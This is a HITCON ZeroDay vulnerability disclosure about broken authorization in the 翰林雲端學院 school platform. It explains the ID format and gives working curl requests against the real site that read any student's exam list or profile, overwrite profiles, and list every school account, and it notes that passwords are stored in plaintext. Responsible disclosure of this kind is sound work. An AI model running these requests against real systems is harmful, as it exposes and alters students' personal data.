翰林雲端學院 邏輯權限漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00294
  •  發信 Vendor: 翰林出版社
  • Title: 翰林雲端學院 邏輯權限漏洞
  • Introduction: 權限未控管造成資訊外洩、任意操控使用者帳號

處理狀態

目前狀態

公開
Last Update : 2021/08/03
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2021/06/03 15:39:47 : 新提交 (由 Hsuan 更新此狀態)
  • 2021/06/04 12:53:46 : 新提交 (由 Hsuan 更新此狀態)
  • 2021/06/04 12:55:22 : 新提交 (由 Hsuan 更新此狀態)
  • 2021/06/04 14:11:42 : 新提交 (由 Hsuan 更新此狀態)
  • 2021/06/06 23:24:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/06/07 10:59:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/06/07 10:59:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/06/07 10:59:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/08/03 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2021-00294
  • 通報者:hsuan1117 (Hsuan)
  • 風險:高
  • 類型:邏輯漏洞 (Logic Flaws)

參考資料

攻擊者可經由該漏洞繞過網站邏輯行為進行惡意攻擊。

漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic

漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

*.teams.com.tw

敘述

目前發現,該網站之APIServer有些權限控管不當、有些甚至完全沒有進行權限控管、
包括但不限於下列各項

必須先了解ID格式:C12056_STUDENT_002393
C12056 為 Team_ID
STUDENT 為 ROLE
002393 為 User_ID

完全不需任何驗證

不須任何驗證,可以直接登入該人帳號

不須驗證即可直接找到任一ID的考卷列表

  • 考卷列表
    curl 'https://tnfsh.teams.com.tw/ExamAnswer/!dashboard?user=C12056_STUDENT_002394&type=ready&showCompleted=false' 

    如圖:該API會直接對應到用戶的考卷列表
    圖片圖片

  • 修改User Info:
    curl 'https://tnfsh.teams.com.tw/_id/C12056_STUDENT_002394/User' \
    -X 'PUT' \
    -H 'content-type: application/json' \
    --data-raw '<USER Profile JSON>' 

同校帳號可以操控其他使用者

(這部分若在使用者登入的狀態下,亦可使用CSRF觸發該攻擊)

  • 獲取使用者資訊
    只需有該校帳號 (平常的學生也可以)
    填入ID、密碼,就可以獲得任意ID的資訊

    curl 'https://tnfsh.teams.com.tw/_id/<任意ID>/User' -H 'authority: tnfsh.teams.com.tw' -H 'cookie: userId=<ID>;userPw=<User Password>;'

    而另個API會造成更大的風險,可以列出整間學校的使用者帳號(包括Admin)

    curl 'https://tnfsh.teams.com.tw/User/!dashboard' -H 'authority: tnfsh.teams.com.tw' -H 'cookie: userId=<ID>;userPw=<User Password>;'
    -X GET

    如附圖,以我的帳號作為測試
    可以發現圖中ID 2394 可以存取到 ID 2395的資料
    圖片
    整個學校的帳號列表亦可直接列出(附圖限制只列出1筆資料)
    圖片
    同時可以發現,該系統採用明文儲存密碼,雖是只顯示前二個字,但仍有密碼長度的提示,若有心人士暴力破解,或有其他SQLi的漏洞將造成巨大危害

  • 課程枚舉
    這個API必須要登入以後,拿到SESSION ID才能觸發,可以列出整個學校裡面的課程

    curl 'https://tnfsh.teams.com.tw/Course/!dashboard?user=' -H 'cookie: JSESSIONID=<需登入拿取>;'

    如附圖,呼叫API以後會拿到整個學校裡面全部的課程資訊、課程ID
    圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;